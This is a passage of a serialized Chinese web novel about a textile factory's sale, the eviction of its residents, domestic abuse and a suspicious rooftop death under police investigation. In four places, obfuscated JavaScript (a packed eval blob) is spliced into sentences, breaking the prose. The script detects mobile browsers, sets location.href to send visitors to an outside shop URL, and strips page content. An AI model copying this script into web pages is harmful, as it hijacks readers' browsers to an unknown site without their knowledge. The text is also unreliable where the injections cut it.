“还有……这三个小孩里,其他两个孩子说的话都是‘买鞋油’,只有哑巴委托销赃的那个小孩,说了‘南市的鞋油’。” 老亏说。 南市。 隋局长沉吟。 事实上,这是一个极小的线索,很有可能和她们之前得到的绝大多数线索一样,没有任何意义和价值。 “我派人扮成便衣,严密监控那个哑巴。” 她说。 但再小的线索, 她也不能放过。 - 清晨,曲让尘抱着书包去上学。 路过学校门口的早餐摊时,忽然有一个人叫住他。 “你是不是曲家的小孩?” 听声音是个女人,很年轻,脸上带着巨大的口罩,染着黄头发,刘海盖住了眼睛。 她把自己的脸遮得严严实实。 不过在冬天,这幅打扮虽然奇怪,但并不算太突兀。 曲让尘轻轻皱眉。 他并不讨厌自己的姓氏, 因为阿言说这个姓有点特别。 但他非常讨厌,“曲家的孩子”这个称呼。 曲让尘讨厌很多东西,其中,他最讨厌的,就是和曲家相关的。 他没搭理,抱着书包直直往前走。 “小孩?小孩!你先别走!” 女人一把抓住他的袖子,压低了声音: “我想问你点事,我可以给你钱。” 钱。 钱可以给阿言买礼物。 刚刚失去一份非常赚钱的“兼职”,曲让尘其实有点为钱发愁。 他停下脚步。 “你要问什么?” 男孩还没有变声,说话时虽然有些哑,但声音还是独属于孩子的糯。 “我想问,常虹玲,你认识吗?她现在怎么样了?” 年轻女人低声问。 常虹玲? 曲让尘没有听过这个名字,下意识就想摇头。 就在摇头前一秒,他又想起女人刚才问的那句“曲家”,似乎明白了什么,开口问: “常姐?” “对对对,这里都叫她常姐,她叫常虹玲,是我妈。” 年轻女人说。 “她怎么样了?生病了吗?我等了一早上了,她没从楼上下来。有人之前告诉我,老曲家火灾之后,就住在一号楼里啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她会给他雪花膏,给他补课,教他认字读书,告诉他该怎么做才能让别人帮助他,接受他的礼物,相信他可以做到她所期待的事情。 曲让尘觉得, 这个世界上没有比做阿言的小狗更幸福的事情了。 曲让尘很早就决定了, 在这个世界上,他只喜欢阿言,也只在乎阿言。 但他也并不讨厌常姐。 在这个世界上, 曲让尘不讨厌的东西和人,都很少。 “你不要去。” 年轻女人急匆匆离开店门时,一个沙哑又稚气的童声响起: “常姐没事,她去打工了。曲老大的信是骗你的,他要把你卖了换彩礼。” 曲二姐的脚步顿住了。 “你说的是真的?那我早上怎么没看见她下楼?” 她问。 “你来得太晚了,常姐每天凌晨三点就要去扫大街。” 曲让尘回答。 “……凌晨三点。” 曲二姐的声音艰涩: “这么冷的天。” 曲让尘没说话,他把二十块钱认真地放在书包夹层里。 阿言最近爱看侦探小说,他等下要去书店买一本最近出版的。 “你帮我给她送信,我给你钱,一封信二十块钱。” 曲二姐又递过来一张二十块。 “好。” 曲让尘接过。 “你不问我是谁?” 曲二姐问。 曲让尘没回答,抬头看着她,有种“爱说说不说算”的平静感。 “你应该知道我是谁,但我很讨厌别人叫我‘曲二丫头’,就像你刚才也很讨厌我管你叫‘曲家的小孩’一样。” 她笑着说。 原来她一眼就看出来了曲让尘的情绪。 “我叫谢远朋,不姓曲也不姓常。你可以叫我朋姐,或者小谢姐。” 曲二姐,不,谢远朋看着曲让尘的眼睛,声音很温和。 “我早就猜到他们是骗我回来,要算计我了,但我还是回来了。” 她的声音很轻。 “我也不知道,是为什么。” 74. 芳芳纺织厂(26) 尽管闵长风尽力争取,但芳芳纺织厂的价值就摆在台面上,她能做的,实际上很有限。 并购案还没有完全结束,但对家属院的“租户”清除工作,即将开始。 清退工作将从一号楼开始,那里已经几乎没有什么住户了。 或者说, 还住在一号楼的住户,是最容易被“清退”的对象。 闵长风拿着清退单冲到厂长办公室, 可不到半个小时,又满面失落地走了出来。 “让他们拆吧,人家买下咱们厂这块地皮,为的不就是这个吗?” 厂长的声音在浓茶升腾起的雾气里晕开。 闵长风看不见她的表情,也看不见自己的表情, 只记得, 那是冬天里,格外寒冷的一个下午。 曲让尘冒着大雪回到家,还没进单元楼,忽然听见一阵脚步声。 很不规律的脚步声,应当属于一群走路很重且不整齐的人,缓缓走近的不仅有脚步声,还有铁棒、木棍拖行在地上的声音。 是谁? 本能先于思考,曲让尘躲在楼角下的阴影里,眼神专注而谨慎,不放过任何一点线索。 忽然,他的眼神一顿。 领头那个人, 他见过。 个子不高的中年男人,常年佝偻着的背即使挺直了也抬不起下巴,肩膀内扣着,背上却扛着一个与他形象极不相符的金属棒。 曲让尘在荒地见过这个人,那时候他喝多了酒,说话的时候一股臭气,口水乱喷。 年纪尚小的曲让尘不知道他的名字,但站在窗外看着这一切的常姐却知道他是谁。 吴志。 常姐沉默着垂下眼,停下洗碗的动作,安静地拿起家里已经许久不用的菜刀。 落了灰的刀刃被抹布擦拭干净,依然闪着寒光。 咚—— 咚——!! 老旧的木门被重重敲响。 不是被手敲响的,而是某种东西,被用力砸在门上的声音。 常姐眨了眨眼睛,她的动作平静而缓慢,比起人,更像是个劣质的木偶,因为长久没有自由地行动作,关节开始生锈僵化。 “常姐,开门啊。” 吴志的声音从门外传来。 他的声音是那样高昂,急促,仿佛他是带着什么天大的好消息上门来的。 当然,对于吴志来说, 他能够宣布某人生活的破灭,这已然是无上的权力和荣光了,这怎么不是好消息呢? “常虹玲!你躲起来有什么用?整个一号楼都要清退,这是厂里的决定,你有种就拿钱出来买房啊!” 吴志没有得到自己的期待的回馈,砸门的动作开始凶狠起来,他一边挥舞着手上的棒子,一边气喘吁吁地怒骂: “你装什么?你以为你还是正式员工?!你就是个臭婆娘!一天到晚个屁都憋不出来,以为谁看得上你呢?!” “我***!常虹玲!你开门!你守个瘫子残废,自己也不是什么好东西!” 吴志的辱骂混乱而毫无逻辑,但逻辑在这种语言中也并不重要。 他只是想要宣泄,将心中那些无处不在又无处可去的愤怒全部扔到别人的世界里。 凭什么,他的人生是一滩烂泥,别人却可以好好活? 所有人都应该和他一样,彻底烂下去!!! 房间里弥漫着浓浓死气,角落曲老三的病床上一片沉默,厅里老曲的竹椅上一片沉默。 这不断震动着,落下陈年灰尘,涌出难听辱骂的门板,居然已经是这个地方,最接近“活着”的东西了。 常姐依然没有挪动脚步, 她沉默地擦拭着自己手中的菜刀,直到那上面没有一丝灰尘,只有寒光逼人。 三年前,火灾的前一天, 常姐很认真地磨了这把刀,一遍遍将它粗钝的刀刃在磨刀石上划过,看着它重新焕发出足以斩断骨头的锋芒。 三年里,这把刀一直放在架子上,任由灰尘将它落满,在阴影中,收敛起自己的寒光锋刃。 咚—— 咚——! 咚——!!! 破旧的木头门终于不堪重击,已经生锈脆化的铰链发出最后一声哀鸣,在金属断裂的声音中,仰面倒在了地面上。 哐!哐! 杂乱的脚步声涌入,吴志拿着自己的金属棒,满脸是兴奋的红,狞笑着看向厨房。 “常姐,你一直不开门,弟兄们就自己进来了,没事吧?” 他的手掂着金属棒,声音扭曲变形。 “没关系。” 常姐说。 “这是清退协议,你直接签了吧。一号楼里的住户今天都签了,就差你们了。” 吴志手里攥着一张皱巴巴的纸。 一号楼的清退工作非常简单, 因为除了一些偷偷住进来遮蔽风雨的拾荒者外,这栋二十多年的老楼里早就只剩下十几户人家了。 平心而论, 纺织厂和圳城地产公司给出的金额算得上非常合理,足够这些人家在接下来的一两年里组上一套还过去的房子,或者去做一点小生意。 只要有活路,人往往不会太过固执。 清退文件发下来不到一周, 一号楼里的人就搬的七七八八了。 不肯走的,基本都是曲家一样,即使走了也不会有未来和出路的人。 “我走不了,你们可以帮忙吗?” 常虹玲拿着手里的菜刀,表情是一种近乎于孩童般的空白单纯。 “他们俩死了,我们就可以走了。” 她的声音很轻,刀刃指向房内。 这房子里有两个人,她的孩子,她的丈夫。 她一直在照顾他们。 不管是他们还健全强大,盛气凌人的过去,还是他们瘫痪残废,无能无力的现在。 她一直在这里, 她没有离开过。 她可以离开吗? 常虹玲问自己。 过往人生里的所有训诫,所有指令,所有“好女人”,都告诉她: 不,你不可以。 你要把自己的人生,生命,所有的精力和爱都献给你的丈夫,你的儿子,即使他们侮辱你,虐待你,用巴掌和拳头来回应你。 你不可以离开, 你要守在原地。 常虹玲日复一日地站在厨房里,站在她自己尸体垒成的深渊中。 她看着窗外。 她点燃炉火。 - 大雪纷落, 这是入冬后,重平市最大的一场雪。 学校停课扫雪,闵朝言提前放学。校门口,母亲和父亲站在门口等待着她。 “我们要去哪里?” 闵朝言问。 闵长风牵着她的手走在路上,听见女儿的问题,她垂下眼,沉默了很久。 “言言,我们要搬家啦。” 闵长风的声音放轻。 她尽力用一个轻快而柔和的语调说出这句话。 在闵朝言耳朵里,这句话却在哭。 “搬家?” 闵朝言问。 “嗯,以后,我们就不住在纺织厂里了,言言想不想住在新房子里?我们会住在小区里,有树,有小公园的小区里。” 闵长风说。 搬出五号楼是迟早的事,芳芳纺织厂都已经不在了,纺织厂家属楼自然也不会继续存在。 一号楼只是一个开始, 等并购案结束以后,三号楼,五号楼……也会被全部拆除,用来建立一座巨大的现代商场。 芳芳纺织厂,家属楼, 所有的一切,都会成为历史中最不起起眼的尘埃。 她闵长风也是如此。 “妈妈现在是副厂长了,工作结束之后,这个项目会有奖金,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749769|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们,可以买小区房子,新房子。” 闵朝言安静地看着母亲。 她注意到了母亲颠倒的语序和不自然地表达。 她没有出言提醒。 随着年岁渐长,闵朝言观察到,当大人们语无伦次地说话时,她们往往其实并不是想要说话,而只是想用“说话”这件事,去规避思考。 这也是大人很有趣的地方, 她们非常善于用各种理由和机会来逃避面对自己。 “小区是什么样的?” 闵朝言顺着母亲的话往下问。 她走在路上,母亲拉着她的左手,父亲拉着她的右手,一家人走在路上,去看新小区的房子。 这个画面看上去应当很温馨, 像是那些童话故事书里的美好结局一样,在风雪中,一家人依然互相支撑着,在不断地向前,向更好的地方走去。 可闵朝言只觉得母亲的手实在很冷。 重平的大雪落在闵长风肩上, 明明很轻,又似乎过于沉重,让她直不起身来。 “小区呀,就是一个墙把一块地围起来,然后大家都在那里生活,小区里会有楼,也会有树,还有给孩子们玩的小公园……” 闵长风笑着说。 她说着那些美好的期待和幻想,就像是三年前,她拎着两大麻袋行李,兴冲冲走进五号楼时,那副将军打了胜仗后,气宇轩昂的模样。 笑着笑着,将军在寒风中红了眼睛。 她打了败仗 “言言,你喜欢吗?” 她问。 闵朝言觉得母亲不是在问自己。 所以她没有回答这个问题。 “妈妈,你想哭吗?” 闵朝言站在原地,抬头看着母亲。 “如果你想哭的话,可以哭的。我不会笑你。” 稚嫩的童声在雪中飘散。 闵长风蹲下来,抬起手摸着女儿冰凉的脸蛋。 她紧紧地抱住这个孩子,在风里,雪里,无数个落下的时代的尘埃里, 大哭出声。 “言言……妈妈的家要没有了。” 眼泪的间隙里, 闵长风不知道在向谁倾诉。 “言言……妈妈好难受,好难过。” 闵长风红着眼睛,将整张脸埋进闵朝言的衣领里,羽绒温暖地贴上她被冻得皲裂的脸颊。 “言言……妈妈觉得,” “妈妈觉得……自己亲手杀死了好多人,妈妈觉得……自己亲手杀死了芳芳。” 闵朝言听不懂这些话, 她现在逐渐明白,自己无法理解地并不是这些话背后的指代和隐喻,这些其实并不是很难,就像是初中生的阅读理解。 杀人凶手是对情感的夸张, 芳芳是对芳芳纺织厂的拟人化称谓, 这些表达都只是为了突出闵长风此刻剧烈的情感波动。 闵朝言不理解的正是这些剧烈的情感波动。 “说出来会好一些的,妈妈。” 闵朝言垂下眼,也拥抱住母亲。 她也会开心,也会期待,也会感到不快和愤怒。 但闵朝言没有“悲伤”过。 母亲应该是这个世界上对她最好,对她来说也最重要的人了。 她不喜欢母亲难过,也常常希望能让母亲脸上露出笑容。 她应当是很爱母亲的。 闵朝言想。 所以,如果母亲死去的话,自己也会感到这种程度的悲伤吗? 在心中思考着这个问题,闵朝言抬手抹去母亲脸上的泪,童声稚嫩温柔: “妈妈,我们也是一家人啊。” 如果闵长风在悲伤中浸泡着的大脑还有一丝理智,她就能回想起: 之前,她安慰痛苦的程新时,用的也是这样的语调。 节奏,音调,语气, 仿佛复刻,没有一丝一毫的区别。 75. 芳芳纺织厂(27) “谁让你们去强拆的?!” 倪盛鸣将手中的文件夹重重摔到桌子上,发出刺耳的声音。 “你们知不知道里面还有居民?!如果真的出了什么事,你们谁负得起责任!” 她脖子绷出青筋,声音几近撕裂。 站在她对面,几个来自当地分公司的员工低下头,姿态是足够放低,但脸上表情却看不出什么惧色和惭愧。 倪盛鸣心中对此并不意外。 她是总部指派过来的空降老大,只负责和芳芳纺织厂进行项目上的谈判,具体实操,依然是重平分部的人来负责。 这一招,即保证倪盛鸣可以利用她在芳芳纺织厂内的多年工作条件来推进项目,又保证倪盛鸣对老东家的感情,不会成为项目推进的阻碍。 好棋。 倪盛鸣感慨。 从三年前对她递出橄榄枝开始,公司就在布下这一局好棋。 倪盛鸣不是没有疑惑过,为什么地处圳城,主营房地产的总公司会跨越上千公里的距离,会特意和身处重平的自己接触。 但倪盛鸣没有选择。 因为吴志被判刑板上钉钉,当时依然与吴志是夫妻关系的她,即使果断离婚斩断法律关系,也斩不断纺织厂内部的流言蜚语。 在芳芳纺织厂这样的单位里,议论有着无比强大的力量,它可以轻易将倪盛鸣未来上升的路径彻底堵死。 即使当时,倪盛鸣可以作为“被同情的对象”,不被撤职,但她最好的结局,也不过是永远停滞在“车间主任”这个位置上。 但更可能的是, 在不远的将来,倪盛鸣会被“明升暗降”,去往一个平级闲职,在那上面一直坐到退休。 对于愿意安稳的人来说, 这也许是个好结局。 但那个“愿意接受安稳的人”,绝不会是倪盛鸣。 她一路奋斗,熬尽心血,拼尽全力,将所有的时间和精力都扑在了工作上。 她要的不是安稳一生,她要光明坦途,要前路辉煌照耀。 “这个项目的主负责人是我,你们有自己的做事方法,我不会去管。” 倪盛鸣看着手中的“清退同意书”,眉头深深皱起。 “但是,不要伤人,不要闹出事端。” 她一字一句地说。 每个字都咬得极重,仿若从牙缝里碾碎了滚出来。 倪盛鸣要前路坦然辉光, 为了这条路,她已经放弃了太多东西。 她不能停。 倪盛鸣透过落地窗看向走出工地的一行人,忽然,她的目光一凝。 ——吴志? 他也在拆迁队? 大雪中的太阳依然刺眼,吴志脸上满是冻疮皲裂,眯起眼睛时剧烈地疼着。 他抬手遮住眼睛,视线飘过二楼落地窗,透过玻璃,他看见一张脸。 一张他恨不得敲骨吸髓,生剥了血肉的脸。 ——倪盛鸣?! 她怎么会在这里!? “走吧,今天还有新的清退单要交,你看什么呢?” 流里流气的工友踢了一下吴志的小腿。 这工友一向很看不上他,总给他这种不痛不痒却让人烦闷的闷亏吃。 吴志一向只能忍,因为他跟着“大哥”的时间还不够,在拆迁队里地位不高,只是个小头头。 “那个,是谁?” 皲裂的嘴角被撕开,吴志嘴里一股铁锈味。 “那个可是大老板,凭你也想认识人家?” 流氓青年看了他一眼,嗤笑一声: “癞蛤蟆想吃天鹅肉啊?” 这个贱人!不就是在大哥身边跟久了一点,就真把自己当盘菜了! 她倪盛鸣算什么天鹅肉?早被他这只癞蛤蟆吃腻了!腻到想吐了! 吴志心中骂得极脏,脸上却只能露出一点笑: “不是,我就是好奇。” “圳城来的,一来就是总经理。这次纺织厂的收购就是她负责吧?” 流氓青年语气散漫: “她是最顶上的老板了,和咱们没关系,別看了,跟上!” 吴志没再说话,赶忙跟上对方的脚步。 他的视线不断往回看,透过玻璃窗,看着那张陌生又熟悉的脸。 呵……倪盛鸣。 他低下头,嘴巴裂开一个狞笑,烟臭和铁锈味混合。 玻璃墙后,倪盛鸣忽然一阵发冷。 - “言言喜欢的话,我们就买这里吗?” 闵长风牵着女儿的手走出售楼处。 闵朝言看着母亲脸上被风雪吹过后,和脸上红霜融在一起的泪痕,有些疑惑地眨眨眼。 “这么快就要搬家吗?” 她问。 新楼盘离芳芳纺织厂并不近,一家人打车过来都用了快半个小时。 “妈妈觉得这里很不错,虽然和原来的学校有一点远,但是爸爸可以每天送你上学放学。” 闵长风继续说着,握紧了闵朝言的手。 “妈妈,你想搬家?” 闵朝言有点明白了。 “……言言为了妈妈,迁就一下,好吗?” 闵长风摸了摸女儿的头发。 升职之后,每天都很忙。 闵长风很久没有给闵朝言扎辫子,所以,闵朝言也就很久没有扎四股辫了。 “好吧。” 闵朝言点点头。 大雪落下, 雪花飘荡着在空气中融化,仿佛在等待一场更冷的风。 闵家的搬家日选在了雪停之后的第一个晴天。 “爸爸,我们为什么要搬家?” 目送着母亲上班的背影,闵朝言开口问。 身为副厂长的妻子不能缺席工作,闵父请了三天的假搬家。 搬家货车不能开进天井,闵父需要把打包好的箱子一个个扛下三楼,再由搬家工人们搬到货车上。 “妈妈工作很辛苦,她不想看见太多过去的东西。” 闵父说。 闵朝言沉默了一下。 她似乎有点明白,但又不确定自己是对的。 闵父向来寡言,很少说这么长的一句话。 “可是妈妈只是负责谈判,把厂子卖掉又不是她的主意。” 闵朝言说: “我不明白,她为什么这么难过。” 闵长风这么着急想要离开芳芳家属楼,无非是因为她主导了芳芳纺织厂自卖与圳城地产的并购案。 很快,家属楼中的住户们都要被尽数清退,闵长风不想亲眼目睹那一切发生,所以她选择自己先逃走。 可为什么? 闵长风只是一个副厂长, 她为什么把自己想象的那么强大,觉得这一切都是她的责任? 闵朝言不理解这其中的逻辑。 这次闵父沉默了更久,他扛起一个箱子,声音发闷: “因为她是个好人。” 因为她是个好人, 所以她会在意,会珍惜的东西太多了。 当这些东西无可避免要失去的时候, 她也会有比别人更多的更沉重的痛苦。 闵朝言思考着, 她很慢地眨了眨眼睛。 “那这个世界,对好人不公平。” 闵朝言说。 闵父没有回答这句话,他扛着箱子下楼了。 闵朝言也没有一定要等到解答,她已经习惯了大人们在她的问题前沉默。 沉默又有什么关系呢? 沉默是好事,这意味着她的问题他们给不出答案。 刚好,比起看已经写好的答案, 她是一个更喜欢自己去探索的孩子。 她喜欢这个世界。 有雪,有太阳,有人哭泣,有人死去。 “……小孩儿?” 一个声音在角落里响起。 虚弱,颤抖,又很熟悉的声音。 闵朝言回过头去, 是倪淮玉。 他不知道在楼梯拐角的阴影里站了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754634|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多久,身上穿的单薄,甚至没有套上棉衣,冻得唇瓣青白。 “倪淮玉。” 她叫他。 倪淮玉垂下眼,长而密的睫毛上有冰雪融化之后的湿意浸染。 他的肌肤原本是暖玉一般的白,如今血色尽失,却显出一种寒玉淬泉般的冷与脆弱。 “……嗯。” 倪淮玉应道。 他的声音似乎有些不一样了,撕裂一样的哑。 闵朝言最近几天没有看见倪淮玉。 他其实本来也不常出现,更多时候只是用小灵通发短信,告诉她自己今天发生了什么。 他似乎把小灵通的短信当作日记来使用,事无巨细,从今天早上吃的包子肉馅太小,到今天老师留的作业他写不过来。 生活的每一个定格和瞬间,倪淮玉都下意识地分享给闵朝言。 闵朝言很少会回短信,但她会看,观察别人是她从小的习惯,倪淮玉又是在许多人中格外有趣的一个观察对象。 “发生了一点事,小灵通丢了。” 倪淮玉的声音很轻。 闵朝言没有问是什么事。 如果倪淮玉想说,他自己就会说,如果他不想说,闵朝言从他口中是问不到答案的。 “好。” 闵朝言点头。 她垂下眼,从衣服箱子里拿出一件大衣,递给倪淮玉。 “很冷。” 她说。 倪淮玉却没有接这件衣服,他靠着墙壁,那冰冷将他的心跳声压抑到最低。 他缓缓蹲下,双手攥紧自己的手臂,手指尖因为过度用力而发白。 “……小孩,好冷啊。” 他喃喃自语一般说。 “你看天气预报了吗,今天多少度?” 他问。 “零下16度。” 闵朝言说着,把大衣披到倪淮玉身上,声音平静。 “倪淮玉,你应该穿上外套。” 她眨了眨眼睛,也学着倪淮玉的样子蹲下,看着他的眼睛。 “……为什么?” 倪淮玉问。 轰—— 是货车发动机启动的轰鸣声。 天气太冷,为了防止发动机被冻坏,即使现在并不移动,货车司机也将发动机启动了。 “因为……” 砰——!!! 重物从楼顶跌落的声音, 不是金属或者石头,而是……已经冻僵的肉。 不, 已经冻僵的人。 尽管自诩是多么高贵不凡,可以掌控生命和自然的高级物种,但人类的本质和老鼠,野狗,似乎也没有完全的不同。 人, 也不过是动物而已。 不过是血肉与骨骼的组合, 在被冻僵之后摔碎,就会被摔碎,骨骼折断,肌肉撕裂,曾经温热的鲜血冰冷着蔓延,最后彻底失去温度与生机。 人, 也不过就是这样而已。 “……你的衣服上,没有擦干净。” 女孩的声音幽幽。 倪淮玉怔愣着抬起头,看着她的眼睛。 闵朝言的眼睛很大,瞳仁是似乎连阳光都会被金属吞噬的浓郁墨黑。 在无光的黑暗中,一切都躲藏,再阴暗丑恶的东西,仿佛都不会被拉到阳光下审判。 “可以雪擦干净哦。” 她的声音轻快,似乎只是在说一个简单的生活小窍门。 “血。” 她对着倪淮玉勾起唇。 倪淮玉依然看着她, 那双眼睛中倒影着他的身影。 他看见自己, 肌肤青白的自己,衣袖血迹没有被擦掉的自己。 “倪淮玉,” 闵朝言的眼睛转向缓缓将雪地融化的红色中。 红色中, 一个贴着铃兰花贴纸的小灵通正在被逐渐融化的血水浸泡。 “你的小灵通好像彻底坏掉了。” 她笑起来。 76. 芳芳纺织厂(28) 警笛声震碎屋顶的积雪。 闵家搬家被迫中断, 所有人留下来等待着治安局接管现场。 闵朝言站在三楼走廊边缘向下看去。 天井之上,天空依旧湛蓝如洗,天空之下一片红色将纯白污染成并不纯粹的黑红色。 “隋姐。” 何法医带着手套和工具箱,对现场简单勘探一番,神情严肃。 “死者身份已经确认了,他叫吴志。以前是芳芳纺织厂职工,三年前犯罪入狱,两个月之前才刚刚被放出来,目前无业。” “从现场和尸体来看,尸体身上有坠落伤,还有明显的击打伤,初步判断身体多处骨折,但死因是不是坠楼,现在不能确定。得进解剖室做全面解剖。” 何法医走到隋局长身边,低声说: “另外,死者身上有酗酒者的特征,身上酒气也非常重,从我的经验来看,不排除醉酒后坠楼的可能性。” 重平市的冬天寒冷,寒冬夜晚,街上常常会出现酒后醉倒在雪天里的人。 这些人即使被活活冻死的也有,失足、意外车祸的就更多了。 “好。记录证据之后清理现场。这是居民区,孩子很多,你们动作要快。” 隋局长放下手机,点头应道。 “飞车党围剿小组那边,你不过去看一下吗?” 何法医问。 治安局今天全体出动,同时对辖区内已经得到具体线报的六个飞车党销赃点进行围剿,隋局长作为总指挥,坐镇局内。 因此,当保安电话打过来时,局里只有隋局长和何法医几个治安官能抽空过来。 “阿姨,你们知道他是怎么死的了吗?” 闵朝言走下楼,隔着警戒线,抬头看着何法医。 “你就是报案人,闵朝言小朋友吧?你真勇敢。” 何法医露出一个笑容,眼神十分慈爱地看着闵朝言。 “你不害怕吗?” 她问。 “我以后也想要当法医,会遇见很多尸体的,我不怕。” 闵朝言摇头。 “你看上去确有这个天赋。” 何法医笑着回答。 “阿姨给你介绍一下,这是我的上司,隋局长,你可以叫她隋阿姨。” 她给闵朝言介绍。 闵朝言抬头看着隋局长。 隋局长大约三十多岁,个子很高,手臂肌肉将制服袖子绷得很紧,眼神凌厉,表情冷淡。 “你好,你可以叫我隋阿姨。” 她似乎努力将表现出善意,露出一个不大熟练,甚至显得有些僵硬的笑容。 “我知道你,你是隋觉荆的妈妈。他和我说,你特别特别厉害。” 闵朝言也露出一个笑容,这笑容比隋局长的要自然轻松得多。 “……他是这么说的?” 隋局长愣了一下,开口问。 “嗯。我也觉得你很厉害,隋阿姨。” 闵朝言笑着点头。 “……谢谢。” 隋局长低下头,沉默了一瞬,才回答。 “你打了报警电话之后,有遇见什么人吗?” 她问。 “这就是笔录对不对?” 闵朝言眼睛一亮,也不回答这个问题,眼中却有点兴奋燃起: “你们应该带我回治安局做笔录!我现在去穿衣服。” 她没穿外套,站在冷风中。 “好。” 隋局长点头。 她看着闵朝言的身影再次走上楼。 “隋姐,她虽然是报案人,但和其他目击者看到的东西应该差不多,要回去做笔录这么正式吗?” 何法医问。 “她明显对治安局很感兴趣,会配合笔录的。” 隋局长回答。 何法医没说话,而是静静等待着隋局长的下一句话。 她是和隋局长一起从南市调过来的。 二人从大学起就是同学,共事十几年,何法医深知自己这位上司绝不是一个会拿笔录这种正事来哄孩子玩的人。 即使那个孩子是隋局长内心深深感激的“儿子的朋友”,也不可能。 “这个人在局里有档案,出狱之后经常做一些偷鸡摸狗的营生,被拘留过几次,现在在‘拆迁队’工作。” 隋局长摸出一根烟,却没抽,只是用带着厚茧的手指肚不断摩挲着。 “这个拆迁队前几天,刚刚‘清退’了一号楼里的住户,但有几家钉子户不肯走。” 隋局长说。 “你是怀疑,他的死不是意外?” 何法医问。 “几天之前,吴志和一号楼其中一家‘钉子户’的大儿子打起来了,闹到了治安局里。” 隋局长说: “吴志身上的伤势可能和他们之前的斗殴有关,先派人把去曲超英带到局里。” 吴志身上的伤,究竟是斗殴伤,还是在和曲超英的这场斗殴之后,他又被谁打了? 她沉默着摩挲着烟身,半响,又说: “还有,之前圳城地产的倪盛鸣曾经报案,吴志对她有跟踪勒索行为。让她也来做一趟笔录。” 何法医正要点头,又听隋局长改口: “不,你先解剖,看死者的死因究竟是什么。如果是非意外死亡,再去通知倪盛鸣。” 何法医深深看了一眼地上的尸体,点头: “……好。” 另一边,走进楼道之后并没有上楼,而是摸摸躲在墙壁后面的闵朝言安静二人的谈话。 风将声音吹得模糊,好在她天生就听力敏锐,能捕捉住那差一点就散在风里的名字。 曲超英, 这是曲老大的名字。 闵朝言眼珠子转了转,转头看向正呆呆坐在阴影里的倪淮玉。 “你要告诉我发生了什么,我才能帮你。” 她低声说。 倪淮玉抬起头,他瓷白的脸颊上,是一双空洞的眼睛。 “倪淮玉。” 闵朝言念他的名字。 倪淮玉没说话, 明明摔裂在地上的尸体是吴志,死去多时的却似乎是他自己。 “倪淮玉,你今天已经十六岁了。” 闵朝言在倪淮玉身前蹲下,轻声说。 十六岁? 啊,对,他是的。 倪淮玉木然的目光落在闵朝言脸上。 “不要怕。” 闵朝言抬手摸了摸他的头发,声音很温和,带一点稚气,却很稳。 “不会有事的。” “我会帮你。” 她伸出手,将倪淮玉抱着,让他的脸颊贴着自己的肩膀。 雪又落下了, 倪淮玉垂下眼,青白的手指紧紧攥着她的衣角。 他听着她的心跳声, 好像那是寂静世界里,最后,唯一的声音。 - 灰暗的屋子里,曲老大一脚将椅子踹开,脸色铁青。 “怎么会没有回信?那个白眼狼,连自己亲妈死活不管了?她还是人吗!” 曲老大声音忿忿。 给曲家二女儿的信已经寄出两周,一直没有得到回信。 常姐站在厨房里煮粥,没有说话。 这么多年,她把自己活成一座沉默的雕塑。 “她要是不回来,我怎么办!?” 曲老大心急如焚。 坐在竹椅子上的老曲看了他一眼,喉咙里发出“嗬嗬”笑声来,明晃晃的嘲讽。 大火之后,老曲的性情愈发古怪,最开始还是暴躁,常常因为一点小事就暴跳如雷,大吵大闹。 但渐渐的,或许是因为他年岁渐长,愈发羸弱,又或许是因为他发现自己不论如何疯狂,都无法得到想要的回应。 总之,他愈发沉默下去, “老头子,你看什么?” 曲老大没好气地骂了一句,又拿出一张纸来。 “不行,还是得把她骗回来。这个赔钱货!” 曲老大恶狠狠地将纸张划出深深痕迹。 要写什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758974|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么好? 写家里要拆迁了,他决定分给妹妹一笔钱? 不,不行。 他这个妹妹又不是傻子,他们要是有钱怎么可能专门分给她? 那就写, 妈生病死了,让她回来操持葬礼? 也不行, 之前写信说妈生病,她不是也无动于衷? 也有可能是因为,她知道那个是假的? 虽然离开多年,但保不准她还有办法知道纺织厂里的消息。 也许光在信里骗是行不通的, 还是要真的发生了才能让曲二丫相信。 曲老大的眼睛瞪着,他绞尽脑汁,试图从空荡荡的大脑里榨出一个把妹妹骗回来卖掉的方法。 曲二丫应该不爱也不在乎这个家里边任何一个人。 这是理所当然的。 她恨他们所有人, 她最恨的那个人是谁呢? 如果她最恨的人死了, 她肯定要回来庆祝,要看着他下葬的。 “爸,人家都说,人啊,老而不死是为贼。” 他笑着说,声音里带着期待: 